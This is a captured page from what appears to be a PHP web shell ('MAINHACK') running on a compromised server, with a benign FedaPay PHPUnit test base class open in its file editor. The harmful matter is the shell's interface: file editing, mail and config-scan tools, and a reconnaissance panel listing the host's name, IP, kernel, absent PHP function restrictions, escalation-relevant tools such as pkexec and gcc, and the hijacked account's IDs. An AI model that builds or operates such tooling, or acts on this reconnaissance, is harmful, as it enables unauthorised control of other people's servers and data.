[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BaseTestCase.php
<?php namespace Tests; use PHPUnit\Framework\TestCase; use FedaPay\HttpClient\CurlClient; abstract class BaseTestCase extends TestCase { protected $defaultHeaders = []; const API_KEY = 'sk_local_123'; const OAUTH_TOKEN = 'oauth_test_token_123'; const API_BASE = 'https://dev-api.fedapay.com'; /** @before */ protected function setUpConfig() { \FedaPay\FedaPay::setApiKey(self::API_KEY); \FedaPay\FedaPay::setApiBase(self::API_BASE); \FedaPay\Requestor::setHttpClient(\FedaPay\HttpClient\CurlClient::instance()); $this->defaultHeaders = [ 'X-Version' => \FedaPay\FedaPay::VERSION, 'X-Api-Version' => \FedaPay\FedaPay::getApiVersion(), 'X-Source' => 'FedaPay PhpLib', 'Authorization' => 'Bearer '. (self::API_KEY ?: self::OAUTH_TOKEN) ]; } /** @after */ protected function tearDownConfig() { // Back to default \FedaPay\FedaPay::setApiKey(null); \FedaPay\FedaPay::setApiVersion('v1'); \FedaPay\FedaPay::setEnvironment('sandbox'); \FedaPay\FedaPay::setToken(null); \FedaPay\FedaPay::setAccountId(null); \FedaPay\FedaPay::setVerifySslCerts(true); \FedaPay\FedaPay::setLocale(null); \FedaPay\Requestor::setHttpClient(null); } protected function mockRequest( $method, $path, $params = [], $response = [], $rcode = 200, $headers = [] ) { $mock = $this->setUpMockRequest(); $base = \FedaPay\FedaPay::getApiBase(); $absUrl = $base . $path; $headers = array_merge($this->defaultHeaders, $headers); $rawHeaders = []; foreach ($headers as $k => $v) { $rawHeaders[] = $k . ': ' . $v; } if (is_array($response)) { $response = json_encode($response); } $mock->expects($this->once()) ->method('request') ->with( strtolower($method), $absUrl, $params, $rawHeaders ) ->willReturn([$response, $rcode, []]); } protected function mockMultipleRequests($requests) { $mock = $this->setUpMockRequest(); $base = \FedaPay\FedaPay::getApiBase(); $withs = []; $returns = []; foreach ($requests as $req) { $req = array_merge(['params' => [], 'response' => [], 'rcode' => 200, 'headers' => []], $req); $absUrl = $base . $req['path']; $headers = array_merge($this->defaultHeaders, $req['headers']); $rawHeaders = []; foreach ($headers as $k => $v) { $rawHeaders[] = $k . ': ' . $v; } if (is_array($req['response'])) { $response = json_encode($req['response']); } $withs[] = [ strtolower($req['method']), $absUrl, $req['params'], $rawHeaders, [$response, $req['rcode'], []] ]; } $mock->expects($this->exactly(count($requests))) ->method('request') ->will($this->returnValueMap($withs)); } protected function setUpMockRequest() { $mock = $this->getMockBuilder('\FedaPay\HttpClient\ClientInterface') ->setMethods(['request']) ->getMock(); \FedaPay\Requestor::setHttpClient($mock); return $mock; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.63 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002